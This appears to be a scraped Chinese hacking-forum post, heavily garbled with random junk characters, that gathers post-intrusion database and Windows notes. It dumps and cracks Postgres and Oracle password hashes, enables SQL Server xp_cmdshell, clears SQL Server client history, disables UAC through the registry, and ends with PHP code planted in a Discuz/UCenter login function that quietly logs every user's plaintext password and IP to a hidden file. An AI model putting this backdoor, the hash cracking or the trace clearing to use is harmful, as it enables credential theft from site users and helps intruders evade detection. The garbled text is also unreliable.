Postgres:- % _7 Y+ O, x6 `% k$ [# C8 fPostgres keeps MD5-based password hashes for database-level users in the pg_shadow table. You need to be the database superuser to read this table (usually called “postgres” or “pgsql”) . N3 l( L, V7 Y3 b5 b' Xselect usename, passwd from pg_shadow; 6 `: l! z) l. X% U4 }usename | passwd & g8 i. m2 D9 ]9 ?0 o——————+————————————- # m4 T4 `" }/ W, {/ }5 E8 J' K Gtestuser | md5fabb6d7172aadfda4753bf0507ed43966 G; m6 u* r$ i) L+ T: P+ Y2 X
use mdcrack to crack these hashes:-0 S0 o/ z% c# E6 t! E* j2 `, t+ J
$ wine MDCrack-sse.exe –algorithm=MD5 –append=testuser fabb6d7172aadfda4753bf0507ed4396 9 ^# q" L. P O$ V9 Q3 i' i: }# S/ H, L
Oracle:-: {. N+ Z5 `/ J9 y. L* d* o
select name, password, spare4 from sys.user$/ u5 j4 n' ~3 ]# V
hashes could be cracked using ‘cain and abel’ or thc-orakelcrackert11g - [# B9 O0 w/ I/ x* H9 o* LMore on Oracle later, i am a bit bored…. - b5 q* e& U1 K& e% i1 \/ }+ M1 t7 I4 O # |0 e; w" h4 t + p9 ^) y4 y! L在sql server2005/2008中开启xp_cmdshell" ^+ S* p8 j7 w; k% d1 X
-- To allow advanced options to be changed. 6 U, L, _: D {/ @. AEXEC sp_configure 'show advanced options', 1' @' B* ^8 X! X3 R, I
GO( M# {' c" U$ S, X0 m* K: P
-- To update the currently configured value for advanced options.7 i- A# I( |" Q9 ^
RECONFIGURE2 o6 I ^* C/ p4 z
GO% t3 g) H0 i7 o g9 m
-- To enable the feature.: V; b- Z% f0 F i# N
EXEC sp_configure 'xp_cmdshell', 1 : B& D4 O6 \( n9 s% e' mGO4 m* V9 |9 S& b$ Q8 M( O
-- To update the currently configured value for this feature.6 a. y# @ V8 p. |
RECONFIGURE1 f8 ~' b6 D" X8 B
GO# W$ _* u( e: a& k- `9 Z
SQL 2008 server日志清除,在清楚前一定要备份。0 t! N& H0 G1 P& |
如果Windows Server 2008 标准版安装SQL Express 2008,则在这里删除: 2 \- q9 _: c1 O) ~. a) _- ^X:\Users[SomeUser]\AppData\Roaming\Microsoft\Microsoft SQL Server\100\Tools\Shell\SqlStudio.bin ( K: [1 N: F& S* A; N- e7 T" a" S* f9 Y! F: [, ~8 E7 d& z
对于SQL Server 2008以前的版本:+ S& N7 A) }, G4 k# H& M
SQL Server 2005: ! k v0 T" d# y3 b* Z- T删除X:\Documents and Settings\XXX\Application Data\Microsoft\Microsoft SQL Server\90\Tools\Shell\mru.dat 8 t3 x6 t7 G2 t" E2 W& jSQL Server 2000: 1 V4 q4 R6 u5 i( M2 x4 f8 A9 }% ^清除注册表HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers\相应的内容即可。 + N8 M$ I! \( X; s) ] " g3 k% _( V2 P9 t2 Z4 m- E本帖最后由 simeon 于 2013-1-3 09:51 编辑 3 U7 ?& e+ P5 f( e9 I$ h& O% i$ T* o0 X5 c
/ b* V- h' T5 A! e/ V
windows 2008 文件权限修改 5 z/ N4 r: A) H$ x% ]; h1.http://technet.microsoft.com/zh- ... 4%28v=ws.10%29.aspx 4 z' f, S7 e: v0 W" H2.http://hi.baidu.com/xiaobei713/item/b0cfae38f6bd278df5e4ad98 F2 p( n* x1 e5 S) @* F& j一、先在右键菜单里面看看有没有“管理员取得所有权”,没有“管理员取得所有权”, - s( _* {: n F2 |: R* E9 y: \$ a3 {$ y
Windows Registry Editor Version 5.00# x' Y( a" `4 |* f) M6 w& O
[HKEY_CLASSES_ROOT\*\shell\runas] ! O0 M* I2 u3 ^; e@="管理员取得所有权" : f, w9 R* h) |0 Q* _"NoWorkingDirectory"=""& N; a) h. A2 V7 D/ p; K
[HKEY_CLASSES_ROOT\*\shell\runas\command]$ @- _# t# S$ ]. N
@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"* z& u5 E$ J+ s2 q5 {
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"% Z+ k+ u7 n5 F* H* V3 E
[HKEY_CLASSES_ROOT\exefile\shell\runas2]' S8 u$ p/ k: t' z1 J
@="管理员取得所有权" 7 G# ^$ m' i( p"NoWorkingDirectory"=""; \/ `* k @% S0 A0 [( n4 z
[HKEY_CLASSES_ROOT\exefile\shell\runas2\command]1 ~3 ? x2 ?" w& I
@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F" , T6 l3 {! x0 @9 Z! v3 ^# L"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"2 `* P; t; b$ N! m) }
+ a! j2 u& c: ~% Z5 k) H& W* B5 t
[HKEY_CLASSES_ROOT\Directory\shell\runas] ; d5 }8 s1 y2 Z# o0 e@="管理员取得所有权"5 t' T( ?* o( |9 u
"NoWorkingDirectory"="": i) V& Z% u; g h/ n0 u9 `+ T
[HKEY_CLASSES_ROOT\Directory\shell\runas\command]( @+ N" u5 E- k; E5 V
@="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t" . d0 `* B3 Z! x( {. r"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t" % L/ T' q; N% O" K 7 i3 ]% \$ u. M$ K3 d0 m! d ; [1 {+ R4 x7 r) k) Mwin7右键“管理员取得所有权”.reg导入" d# C- }2 N; J ` k& E* G/ ^
二、在C:\Windows目录里下搜索“notepad.exe”文件,应该会搜索到四个“notepad.exe”和四个“notepad.exe.mui”,1 [) I" o0 I. G) x% o) m' {- `
1、C:\Windows这个路径的“notepad.exe”不需要替换% O, w2 ^- T; n% t, ^/ z6 P
2、C:\Windows\System32这个路径的“notepad.exe”不需要替换) I# x; r O5 N3 H5 o4 o
3、四个“notepad.exe.mui”不要管 ' h% W' Z3 M) \/ F! t4、主要替换C:\Windows\winsxs\x86_microsoft-windows-notepad_31bf3856ad364e35_6.1.7600.16385_none_6ef0e39ed15350e4和 5 |$ ]+ _+ N y( D+ F* r& DC:\Windows\winsxs\x86_microsoft-windows-notepadwin_31bf3856ad364e35_6.1.7600.16385_none_42a023025c60a33a两个文件下的“notepad.exe”; U! x( `, ^: ^5 W+ D5 _- n
替换方法先取得这两个文件夹的管理员权限,然后把“Notepad2.exe”重命名为“notepad.exe”替换到这两个文件夹下面, 6 T$ R" ?, E1 T; j+ P替换完之后回到桌面,新建一个txt文档打开看看是不是变了。 ! g) q' D; p- r Q8 p9 F* s# H: Rwindows 2008中关闭安全策略: . I, B: p( w) \ g! Z1 Y$ ]1 d
reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f & e9 N) X9 D- a+ l: |修改uc_client目录下的client.php 在4 f i& R4 k8 z4 J" k+ w
function uc_user_login($username, $password, $isuid = 0, $checkques = 0, $questionid = '', $answer = '') { / h9 b' ~' W& s6 b6 C/ _下加入如上代码,在网站./data/cache/目录下自动生成csslog.php & i+ B9 n* p; M2 \你可以在ipdata目录下添加 view.php 可以用来查看记录的,密码为:falw 3 Z0 p1 g; P& J" tif(getenv('HTTP_CLIENT_IP')) {2 l4 r2 l Z3 _; y: V
$onlineip = getenv('HTTP_CLIENT_IP');0 s% y! t' A5 g1 m
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {: c g1 p9 y" Y
$onlineip = getenv('HTTP_X_FORWARDED_FOR'); # @: `) P x1 ~ R/ w+ _0 Z} elseif(getenv('REMOTE_ADDR')) {/ m6 H& ~1 l' ]8 e7 V7 ~ x! O
$onlineip = getenv('REMOTE_ADDR'); ' a+ d3 G1 G/ B% N1 ?) L# {} else {3 h$ m! x; c! ?4 M" e
$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];' D+ _3 x! Y4 Z5 @
} _7 \( @! M( e1 y# s- R/ Z $showtime=date("Y-m-d H:i:s");* ]5 s8 J7 {" \
$record="<?exit();?>用户:".$username." 密码:".$password." IP:".$onlineip." Time:".$showtime."\r\n"; # c- z) E# a# S $handle=fopen('./data/cache/csslog.php','a+'); ' U! N+ ?$ A: M9 X% ` $write=fwrite($handle,$record);